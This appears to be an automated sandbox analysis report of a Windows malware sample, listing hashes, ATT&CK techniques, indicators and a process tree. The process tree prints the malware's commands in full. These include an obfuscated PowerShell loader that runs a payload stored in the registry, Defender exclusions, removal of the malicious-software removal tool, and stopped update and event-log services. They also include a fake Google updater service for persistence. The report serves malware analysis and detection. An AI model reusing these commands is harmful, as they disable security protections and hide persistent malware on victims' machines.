e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

Analysis

max time kernel
151s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 12:51

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General

Target

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
Size

15.9MB
MD5

d3c16cede9b6e4ee304a0184328d313d
SHA1

bd82838a3cc343956ecce4d5051b510dd941de11
SHA256

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c
SHA512

284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b
SSDEEP

393216:fwibRRlK6/C+1ZDpHKG1cVWNEtW5I+L11k2OEin:f7RllK+LlaaSW5zL1ypEin

Score

10^/10

evasion execution persistence

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2024 created 420 2024 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.EXEpowershell.exepowershell.exe

pid process

2024 powershell.EXE
2920 powershell.exe
2204 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

description	pid	process	target process
PID 2024 created 420	2024	powershell.EXE	winlogon.exe

pid	process
2024	powershell.EXE
2920	powershell.exe
2204	powershell.exe

Drops file in Drivers directory 2 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exeupdater.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 2 IoCs

Processes:

services.exeupdater.exe

pid process

464 services.exe
540 updater.exe
Loads dropped DLL 1 IoCs

Processes:

services.exe

pid process

464 services.exe
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

2692 powercfg.exe
1064 powercfg.exe
2304 powercfg.exe
2812 powercfg.exe
2864 powercfg.exe
2912 powercfg.exe
2820 powercfg.exe
2840 powercfg.exe

pid	process
464	services.exe
540	updater.exe

pid	process
464	services.exe

pid	process
2692	powercfg.exe
1064	powercfg.exe
2304	powercfg.exe
2812	powercfg.exe
2864	powercfg.exe
2912	powercfg.exe
2820	powercfg.exe
2840	powercfg.exe

Drops file in System32 directory 7 IoCs

Processes:

svchost.exepowershell.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEpowershell.exeupdater.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File created	C:\Windows\System32\Tasks\dialersvc64	svchost.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEupdater.exe

description	pid	process	target process
PID 2792 set thread context of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2024 set thread context of 2096	2024	powershell.EXE	dllhost.exe
PID 540 set thread context of 2936	540	updater.exe	dialer.exe
PID 540 set thread context of 2408	540	updater.exe	dialer.exe
PID 540 set thread context of 2724	540	updater.exe	dialer.exe

Drops file in Windows directory 2 IoCs

Processes:

wusa.exewusa.exe

description ioc process

File created C:\Windows\wusa.lock wusa.exe
File created C:\Windows\wusa.lock wusa.exe

description	ioc	process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
3032	sc.exe
2924	sc.exe
2712	sc.exe
2224	sc.exe
2368	sc.exe
2772	sc.exe
1580	sc.exe
3064	sc.exe
2376	sc.exe
2536	sc.exe
3048	sc.exe
836	sc.exe
3012	sc.exe
1516	sc.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10ba943c143cdb01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.exeupdater.exepowershell.EXEpowershell.exedllhost.exe

pid	process
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2920	powershell.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
540	updater.exe
2024	powershell.EXE
540	updater.exe
2204	powershell.exe
2024	powershell.EXE
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
540	updater.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe
2096	dllhost.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.EXEpowershell.exedllhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeShutdownPrivilege	2304	powercfg.exe
Token: SeShutdownPrivilege	2692	powercfg.exe
Token: SeShutdownPrivilege	1064	powercfg.exe
Token: SeShutdownPrivilege	2812	powercfg.exe
Token: SeDebugPrivilege	2024	powershell.EXE
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2024	powershell.EXE
Token: SeDebugPrivilege	2096	dllhost.exe
Token: SeShutdownPrivilege	2864	powercfg.exe
Token: SeShutdownPrivilege	2820	powercfg.exe
Token: SeShutdownPrivilege	2840	powercfg.exe
Token: SeShutdownPrivilege	2912	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exetaskeng.exepowershell.EXEdllhost.execmd.exeupdater.exe

description	pid	process	target process
PID 2740 wrote to memory of 2880	2740	cmd.exe	wusa.exe
PID 2740 wrote to memory of 2880	2740	cmd.exe	wusa.exe
PID 2740 wrote to memory of 2880	2740	cmd.exe	wusa.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2792 wrote to memory of 1172	2792	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2172 wrote to memory of 2024	2172	taskeng.exe	powershell.EXE
PID 2172 wrote to memory of 2024	2172	taskeng.exe	powershell.EXE
PID 2172 wrote to memory of 2024	2172	taskeng.exe	powershell.EXE
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2024 wrote to memory of 2096	2024	powershell.EXE	dllhost.exe
PID 2096 wrote to memory of 420	2096	dllhost.exe	winlogon.exe
PID 2096 wrote to memory of 464	2096	dllhost.exe	services.exe
PID 2096 wrote to memory of 480	2096	dllhost.exe	lsass.exe
PID 2096 wrote to memory of 488	2096	dllhost.exe	lsm.exe
PID 2096 wrote to memory of 604	2096	dllhost.exe	svchost.exe
PID 2096 wrote to memory of 684	2096	dllhost.exe	svchost.exe
PID 2096 wrote to memory of 744	2096	dllhost.exe	svchost.exe
PID 572 wrote to memory of 1740	572	cmd.exe	wusa.exe
PID 572 wrote to memory of 1740	572	cmd.exe	wusa.exe
PID 572 wrote to memory of 1740	572	cmd.exe	wusa.exe
PID 2096 wrote to memory of 816	2096	dllhost.exe	svchost.exe
PID 2096 wrote to memory of 856	2096	dllhost.exe	svchost.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2936	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2408	540	updater.exe	dialer.exe
PID 2096 wrote to memory of 992	2096	dllhost.exe	svchost.exe
PID 540 wrote to memory of 2724	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2724	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2724	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2724	540	updater.exe	dialer.exe
PID 540 wrote to memory of 2724	540	updater.exe	dialer.exe
PID 2096 wrote to memory of 300	2096	dllhost.exe	svchost.exe
PID 2096 wrote to memory of 272	2096	dllhost.exe	spoolsv.exe
PID 2096 wrote to memory of 1032	2096	dllhost.exe	svchost.exe
PID 2096 wrote to memory of 1232	2096	dllhost.exe	taskhost.exe
PID 2096 wrote to memory of 1320	2096	dllhost.exe	Dwm.exe
PID 2096 wrote to memory of 1360	2096	dllhost.exe	Explorer.EXE
PID 2096 wrote to memory of 928	2096	dllhost.exe	DllHost.exe
PID 2096 wrote to memory of 1120	2096	dllhost.exe	OSPPSVC.EXE
PID 2096 wrote to memory of 1852	2096	dllhost.exe	wmiprvse.exe
PID 2096 wrote to memory of 1928	2096	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a8e7d220-d731-43d6-b59f-2e8d7a766b8d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2096

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:464
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:928
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1852
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:684
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:744
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1320
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in System32 directory
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {78942DE8-F92E-4925-A929-01787ABE1DAB} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+'W'+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'al'+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2024
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:992
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:300
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:272
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1032
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1232
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1120
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1928
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1924
- C:\ProgramData\Google\Chrome\updater.exe
  C:\ProgramData\Google\Chrome\updater.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:572
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:1740
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2376
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2368
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:836
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1516
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:3012
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2936
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:2408
- - C:\Windows\system32\dialer.exe
    dialer.exe
    3⤵
    PID:2724

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1360
- C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
  "C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe"
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2880
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3032
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2924
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2712
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2536
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2772
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2692
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2812
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2304
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:1172
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:1580
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2224
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3048
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
    3⤵
    - Launches sc.exe
    PID:3064

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "276249942-906157870-9717880801187914802-2983865901610298675-20619947481413042431"
1⤵
PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Windows\System32\Tasks\dialersvc64

Filesize
3KB

MD5
6cec478a4e3dce19669074148faab1a2

SHA1
c4ce7b8357c6a81319bf2e9488ef722cf96a2070

SHA256
978705023f02be044a1d210c4a833970442fa72ac5809f649df992843e85277d

SHA512
395c448feaf7c22edfb348d1f2a2b20fba5e6bf757a9cf486528be2f086e1a31575e036f2a1141e06289bf42bee55acdc34f7ce449deaf697ea7cbd6bc92dd4f

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
4f9d9c2ae7b134963b4be3f67aeab8cb

SHA1
91a63a9655786a0267010aaa811135033084561b

SHA256
a1d4e2e3c808b03bd4e21eb57d93576bfffd9be422587a61d3e67abb67806d2f

SHA512
07fb8e1ddbc809803987d1ef6df97ca137ba18a13eccca1bf9a1e5b32b41da181c34045e1b63319d502ecdc95f038e84e01b7af03cb38efd53b6a949c82c9edd

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\ProgramData\Google\Chrome\updater.exe

Filesize
15.9MB

MD5
d3c16cede9b6e4ee304a0184328d313d

SHA1
bd82838a3cc343956ecce4d5051b510dd941de11

SHA256
e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

SHA512
284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b

Download Submit
memory/420-81-0x000007FEBDAD0000-0x000007FEBDAE0000-memory.dmp

Filesize
64KB

Download
memory/420-62-0x0000000000410000-0x0000000000435000-memory.dmp

Filesize
148KB

Download
memory/420-74-0x00000000008B0000-0x00000000008DB000-memory.dmp

Filesize
172KB

Download
memory/420-80-0x00000000008B0000-0x00000000008DB000-memory.dmp

Filesize
172KB

Download
memory/420-64-0x0000000000410000-0x0000000000435000-memory.dmp

Filesize
148KB

Download
memory/420-82-0x0000000037600000-0x0000000037610000-memory.dmp

Filesize
64KB

Download
memory/420-65-0x00000000008B0000-0x00000000008DB000-memory.dmp

Filesize
172KB

Download
memory/480-87-0x00000000009D0000-0x00000000009FB000-memory.dmp

Filesize
172KB

Download
memory/540-44-0x000000013F880000-0x0000000141482000-memory.dmp

Filesize
28.0MB

Download
memory/540-43-0x0000000077770000-0x0000000077772000-memory.dmp

Filesize
8KB

Download
memory/1172-29-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1172-27-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1172-26-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1172-25-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1172-24-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/2024-38-0x0000000000960000-0x0000000000968000-memory.dmp

Filesize
32KB

Download
memory/2024-48-0x0000000000FE0000-0x000000000100A000-memory.dmp

Filesize
168KB

Download
memory/2024-49-0x00000000775C0000-0x0000000077769000-memory.dmp

Filesize
1.7MB

Download
memory/2024-50-0x00000000773A0000-0x00000000774BF000-memory.dmp

Filesize
1.1MB

Download
memory/2024-37-0x0000000019B20000-0x0000000019E02000-memory.dmp

Filesize
2.9MB

Download
memory/2096-53-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2096-58-0x00000000773A0000-0x00000000774BF000-memory.dmp

Filesize
1.1MB

Download
memory/2096-57-0x00000000775C0000-0x0000000077769000-memory.dmp

Filesize
1.7MB

Download
memory/2096-59-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2096-56-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

